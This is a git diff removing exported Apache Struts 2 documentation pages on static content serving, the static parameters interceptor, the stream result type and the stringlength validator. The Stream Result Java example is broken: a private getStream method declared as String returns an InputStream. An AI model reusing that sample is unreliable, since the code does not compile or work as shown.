-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Static Content</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=2330125">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=2330125">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=2330125">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=2330125">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=2330125">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=2330125">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Struts can serve static content like css and javascript files. This feature is enabled by default, but can be disabled by setting:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.serve.static" value="false" /&gt;
-</pre>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>If you disable this feature, but use the xhtml, or css_xhtml theme, make sure that the javascript and css files shipped inside the core jar are extracted to your web application directory.</p></div></div>
-
-<h3 id="StaticContent-CustomStaticContentLoaders">Custom Static Content Loaders</h3>
-<p>Static content is served by an implementation of <code>org.apache.struts2.dispatcher.StaticContentLoader</code>. To write your own <code>StaticContentLoader</code>, implement <code>StaticContentLoader</code> and define a bean for the class:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;bean type="org.apache.struts2.dispatcher.StaticContentLoader" class="MyStaticContentLoader" name="myLoader" /&gt;
-&lt;constant name="struts.staticContentLoader" value="myLoader" /&gt;
-</pre>
-</div></div>
-
-<h3 id="StaticContent-DefaultContentLoader">Default Content Loader</h3>
-<p>Struts provides a default implementation of <code>StaticContentLoader</code> which is <code>org.apache.struts2.dispatcher.DefaultStaticContentLoader</code>. This loader will handle urls that start with "/static/". </p>
-
-<p>This content loader can serve static content from the classpath, so when writing a plugin, you can put a file inside your plugin's jar like "/static/image/banner.jpg" and it will be served when the url "/static/image/banner.jpg" is requested. </p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>This loader is not optimized to handle static content, and to improve performance, it is recommended that you extract your static content to the web application directory, and let the container handle them.</p></div></div>
-
-<h3 id="StaticContent-PreventingStrutsfromHandlingaRequest">Preventing Struts from Handling a Request</h3>
-<p>If there is a request that Struts is handling as an action, and you wish to make Struts ignore it, you can do so by specifying a comma separated list of regular expressions like:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.action.excludePattern" value="/some/conent/.*?" /&gt;
-</pre>
-</div></div> 
-<p>These regular expression will be evaluated against the request's URI (<code>HttpServletRequest.getRequestURI()</code>), and if any of them matches, then Struts will not handle the request.<br clear="none">
-To evaluate each pattern Pattern class from JDK will be used, you can find more about what kind of pattern you can use in the <a shape="rect" class="external-link" href="http://docs.oracle.com/javase/1.5.0/docs/api/java/util/regex/Pattern.html" rel="nofollow">Pattern class JavaDoc</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/static-parameters-interceptor.html b/content/docs/static-parameters-interceptor.html
deleted file mode 100644
index 2411f35..0000000
--- a/content/docs/static-parameters-interceptor.html
+++ /dev/null
@@ -1,184 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Static Parameters Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="static-parameters-interceptor.html">Static Parameters Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Static Parameters Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14228">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14228">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14228">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14228">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14228">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14228">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>This interceptor populates the action with the static parameters defined in the action configuration. If the action
-implements Parameterizable, a map of the static parameters will be also be passed directly to the action.
-The static params will be added to the request params map, unless "merge" is set to false.</p>
-
-<p></p><p> Parameters are typically defined with &lt;param&gt; elements within xwork.xml.</p>
-
-
-<h2 id="StaticParametersInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>None</li></ul><p></p>
-
-
-<h2 id="StaticParametersInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-
-<p></p><p>There are no extension points to this interceptor.</p>
-
-
-<h2 id="StaticParametersInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;staticParams&quot;&gt;
-         &lt;param name=&quot;parse&quot;&gt;true&lt;/param&gt;
-         &lt;param name=&quot;overwrite&quot;&gt;false&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/stream-result.html b/content/docs/stream-result.html
deleted file mode 100644
index d51bc42..0000000
--- a/content/docs/stream-result.html
+++ /dev/null
@@ -1,203 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Stream Result</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="result-types.html">Result Types</a>&nbsp;&gt;&nbsp;<a href="stream-result.html">Stream Result</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Stream Result</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14297">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14297">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14297">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14297">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14297">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14297">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>A custom Result type for sending raw data (via an InputStream) directly to the&#160;HttpServletResponse. Very useful for allowing users to download content.</p><rich-text-body><p>If you are running your app server under HTTPS and having issues with PDF's or other file streams you should take a look at <a shape="rect" href="https-and-ie-issues.html">HTTPS and IE Issues</a></p></rich-text-body><h1 id="StreamResult-Parameters">Parameters</h1><ul st [...]
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.InputStream;
-
-import org.apache.struts2.convention.annotation.Result;
-
-import com.opensymphony.xwork2.Action;
-import com.opensymphony.xwork2.ActionSupport;
-
-@Result(
-	name = "success", 
-	type = "stream", 
-	params = { 
-		"contentType", "${type}", 
-		"inputName", "${stream}", 
-		"bufferSize", "1024", 
-		"contentDisposition", "attachment;filename=\"${filename}\"" 
-	}
-)
-public class FileDisplay extends ActionSupport {
-
-	private String type = "image/jpeg";
-	private String filename;
-	private InputStream stream;
-
-	public String execute() throws Exception {
-
-		filename = "myimage.jpg";
-		File img = new File("/path/to/image/image.jpg");
-		stream = new FileInputStream(img);
-
-		return Action.SUCCESS;
-	}
-	
-	private String getType() {
-		return this.type;
-	}
-	
-	private String getFilename() {
-		return this.filename;
-	}
-	
-	private String getStream() {
-		return this.stream;
-	}
-}
-</plain-text-body><h2 id="StreamResult-XMLbasedConfiguration">XML based Configuration</h2><parameter ac:name="language">java</parameter><parameter ac:name="title">Example configuration</parameter><plain-text-body>&lt;result name="success" type="stream"&gt;
-  &lt;param name="contentType"&gt;image/jpeg&lt;/param&gt;
-  &lt;param name="inputName"&gt;${imageStream}&lt;/param&gt;
-  &lt;param name="contentDisposition"&gt;attachment;filename="document.pdf"&lt;/param&gt;
-  &lt;param name="bufferSize"&gt;1024&lt;/param&gt;
-&lt;/result&gt;</plain-text-body></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/stringlength-validator.html b/content/docs/stringlength-validator.html
deleted file mode 100644
index 5a57f92..0000000
--- a/content/docs/stringlength-validator.html
+++ /dev/null
@@ -1,199 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>stringlength validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="stringlength-validator.html">stringlength validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">stringlength validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14006">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14006">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14006">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14006">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14006">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14006">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="stringlengthvalidator-Description">Description</h1>
-<p>StringLengthFieldValidator checks that a String field is of a certain length.  If the "minLength"
-parameter is specified, it will make sure that the String has at least that many characters.  If
-the "maxLength" parameter is specified, it will make sure that the String has at most that many
-characters.  The "trim" parameter determines whether it will {@link String#trim() trim} the
-String before performing the length check.  If unspecified, the String will be trimmed.</p>
-
-<h1 id="stringlengthvalidator-Parameters">Parameters</h1>
-<p></p><ul><li>fieldName - The field name this validator is validating. Required if using Plain-Validator Syntax otherwise not required</li><li>maxLength - Integer. The max length of the field value. Default ignore.</li><li>minLength - Integer. The min length of the field value. Default ignore.</li><li>trim - (Optional) Boolean, default true. Trim the field value before evaluating its min/max length. Default true.</li><li>maxLengthExpression - (Optional) String. Defines the max length pa [...]
-
-<div class="confluence-information-macro confluence-information-macro-warning"><p class="title">Warning</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Do not use ${minLengthExpression}, ${maxLengthExpression} and ${trimExpression} as an expression as this will turn into infinitive loop!</p></div></div>
-
-<h1 id="stringlengthvalidator-Examples">Examples</h1>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;validators&gt;
-    &lt;!-- Plain Validator Syntax --&gt;
-    &lt;validator type=&quot;stringlength&quot;&gt;
-        &lt;param name=&quot;fieldName&quot;&gt;myPurchaseCode&lt;/param&gt;
-        &lt;param name=&quot;minLength&quot;&gt;10&lt;/param&gt;
-        &lt;param name=&quot;maxLength&quot;&gt;10&lt;/param&gt;
-        &lt;param name=&quot;trim&quot;&gt;true&lt;/param&gt;
-        &lt;message&gt;Your purchase code needs to be 10 characters long&lt;/message&gt;
-    &lt;/validator&gt;
-
-    &lt;!-- Field Validator Syntax --&gt;
-    &lt;field name=&quot;myPurchaseCode&quot;&gt;
-        &lt;field-validator type=&quot;stringlength&quot;&gt;
-             &lt;param name=&quot;minLength&quot;&gt;10&lt;/param&gt;
-             &lt;param name=&quot;maxLength&quot;&gt;10&lt;/param&gt;
-             &lt;param name=&quot;trim&quot;&gt;true&lt;/param&gt;
-             &lt;message&gt;Your purchase code needs to be 10 characters long&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-
-    &lt;!-- Field Validator Syntax with expression --&gt;
-    &lt;field name=&quot;myPurchaseCode&quot;&gt;
-        &lt;field-validator type=&quot;stringlength&quot;&gt;
-             &lt;param name=&quot;minLengthExpression&quot;&gt;${minLengthValue}&lt;/param&gt; &lt;!-- will be evaluated as: Integer getMinLengthValue() --&gt;
-             &lt;param name=&quot;maxLengthExpression&quot;&gt;${maxLengthValue}&lt;/param&gt; &lt;!-- will be evaluated as: Integer getMaxLengthValue() --&gt;
-             &lt;param name=&quot;trimExpression&quot;&gt;${trimValue}&lt;/param&gt; &lt;!-- will be evaluated as: boolean getTrimValue() --&gt;
-             &lt;message&gt;Your purchase code needs to be 10 characters long&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-&lt;/validators&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/stringlengthfieldvalidator-annotation.html b/content/docs/stringlengthfieldvalidator-annotation.html
deleted file mode 100644
index c57fff3..0000000
--- a/content/docs/stringlengthfieldvalidator-annotation.html
+++ /dev/null
@@ -1,172 +0,0 @@
